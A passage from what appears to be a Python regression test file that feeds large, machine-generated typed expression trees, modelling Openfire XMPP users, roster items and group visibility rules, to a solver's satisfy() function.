TNative('java.util.Date')))))), '==', EVar('u').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))).with_type(TBool())).with_type(TBool()))).with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))))).with_type(TBool())).with_type(TBool()))).with_type(TBag(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool()))).with_type(TBag(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))))), ELambda(EVar('g').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), EGetField(EGetField(EVar('g').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), 'val').with_type(TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), 'name').with_type(TString()))).with_type(TBag(TString()))).with_type(TBool())).with_type(TBool())).with_type(TBool()), 'or', EBinOp(EUnaryOp('not', EBinOp(EVar('other').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), '==', EVar('u').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))).with_type(TBool())).with_type(TBool()), 'and', EBinOp(EUnaryOp('exists', EFilter(EVar('rosterItems').with_type(TBag(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType'))))))), ELambda(EVar('i').with_type(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType')))))), EBinOp(EBinOp(ECall('jidToUsername', (EGetField(EGetField(EVar('i').with_type(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType')))))), 'val').with_type(TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType'))))), 'target').with_type(TNative('org.xmpp.packet.JID')),)).with_type(TString()), '==', EGetField(EGetField(EVar('u').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), 'val').with_type(TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))), 'username').with_type(TString())).with_type(TBool()), 'and', EBinOp(EGetField(EGetField(EVar('other').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), 'val').with_type(TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))), 'username').with_type(TString()), '==', EGetField(EGetField(EVar('i').with_type(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType')))))), 'val').with_type(TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType'))))), 'user').with_type(TString())).with_type(TBool())).with_type(TBool()))).with_type(TBag(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType')))))))).with_type(TBool()), 'or', EUnaryOp('exists', EMap(EFilter(EVar('groups').with_type(TBag(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))))), ELambda(EVar('g').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), EBinOp(EBinOp(ETuple((EVar('g').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), EVar('u').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))).with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))), 'in', EVar('groupMembers').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))))).with_type(TBool()), 'and', EBinOp(EBinOp(EBinOp(EGetField(EGetField(EVar('g').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), 'val').with_type(TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), 'rosterMode').with_type(TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))), '==', EEnumEntry('EVERYBODY').with_type(TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))).with_type(TBool()), 'or', EBinOp(EBinOp(EGetField(EGetField(EVar('g').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), 'val').with_type(TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), 'rosterMode').with_type(TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))), '==', EEnumEntry('ONLY_GROUP').with_type(TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))).with_type(TBool()), 'and', EBinOp(ETuple((EVar('g').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), EVar('other').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))).with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))), 'in', EVar('groupMembers').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))))).with_type(TBool())).with_type(TBool())).with_type(TBool()), 'or', EBinOp(EBinOp(EGetField(EGetField(EVar('g').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), 'val').with_type(TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), 'rosterMode').with_type(TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))), '==', EEnumEntry('ONLY_GROUP').with_type(TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))).with_type(TBool()), 'and', EUnaryOp('exists', EFilter(EVar('groups').with_type(TBag(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))))), ELambda(EVar('subg').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), EBinOp(EBinOp(ETuple((EVar('g').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), EVar('subg').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))).with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))), 'in', EVar('childGroups').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))))).with_type(TBool()), 'and', EUnaryOp('exists', EFilter(EVar('groupMembers').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))))), ELambda(EVar('t').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))), EBinOp(EBinOp(ETupleGet(EVar('t').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))), 0).with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), '==', EVar('subg').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))))).with_type(TBool()), 'and', EBinOp(ETupleGet(EVar('t').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))), 1).with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), '==', EVar('other').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))).with_type(TBool())).with_type(TBool()))).with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))))).with_type(TBool())).with_type(TBool()))).with_type(TBag(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool()))).with_type(TBag(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))))), ELambda(EVar('g').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), EGetField(EGetField(EVar('g').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), 'val').with_type(TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), 'name').with_type(TString()))).with_type(TBag(TString()))).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool()))).with_type(TBag(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))), ELambda(EVar('_fragarg').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), EBinOp(EVar('_fragarg').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), '===', EVar('other').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))).with_type(TBool()))).with_type(TBag(TBool()))).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool()), 'or', EUnaryOp('not', EBinOp(EUnaryOp('not', EBinOp(EUnaryOp('len', EFilter(EVar('rosterItems').with_type(TBag(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType'))))))), ELambda(EVar('i').with_type(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType')))))), EBinOp(EBinOp(ECall('jidToUsername', (EGetField(EGetField(EVar('i').with_type(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType')))))), 'val').with_type(TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType'))))), 'target').with_type(TNative('org.xmpp.packet.JID')),)).with_type(TString()), '==', EGetField(EGetField(EVar('other').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), 'val').with_type(TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))), 'username').with_type(TString())).with_type(TBool()), 'and', EBinOp(EGetField(EGetField(EVar('u').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), 'val').with_type(TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))), 'username').with_type(TString()), '==', EGetField(EGetField(EVar('i').with_type(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType')))))), 'val').with_type(TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType'))))), 'user').with_type(TString())).with_type(TBool())).with_type(TBool()))).with_type(TBag(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType')))))))).with_type(TInt()), '==', ENum(1).with_type(TInt())).with_type(TBool())).with_type(TBool()), 'and', EUnaryOp('not', EUnaryOp('empty', EFilter(EVar('rosterItems').with_type(TBag(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType'))))))), ELambda(EVar('i').with_type(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType')))))), EBinOp(EBinOp(ECall('jidToUsername', (EGetField(EGetField(EVar('i').with_type(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType')))))), 'val').with_type(TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType'))))), 'target').with_type(TNative('org.xmpp.packet.JID')),)).with_type(TString()), '==', EGetField(EGetField(EVar('other').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), 'val').with_type(TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))), 'username').with_type(TString())).with_type(TBool()), 'and', EBinOp(EGetField(EGetField(EVar('u').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), 'val').with_type(TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))), 'username').with_type(TString()), '==', EGetField(EGetField(EVar('i').with_type(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType')))))), 'val').with_type(TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType'))))), 'user').with_type(TString())).with_type(TBool())).with_type(TBool()))).with_type(TBag(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType')))))))).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool()), vars=OrderedSet([EVar('users').with_type(TBag(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))), EVar('rosterItems').with_type(TBag(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType'))))))), EVar('groups').with_type(TBag(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))))), EVar('childGroups').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))))))), EVar('groupMembers').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))))), EVar('admins').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))))), EVar('u').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), EVar('other').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))]), collection_depth=2, validate_model=True) def test_regression12(self): satisfy(EUnaryOp('not', EBinOp(EUnaryOp('not', EBinOp(EBinOp(EBinOp(EUnaryOp('unique', EMap(EVar('users').with_type(TBag(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))), ELambda(EVar('_var28803386').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), EGetField(EGetField(EVar('_var28803386').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), 'val').with_type(TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))), 'username').with_type(TString()))).with_type(TBag(TString()))).with_type(TBool()), 'and', EBinOp(EUnaryOp('unique', EMap(EVar('rosterItems').with_type(TBag(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', 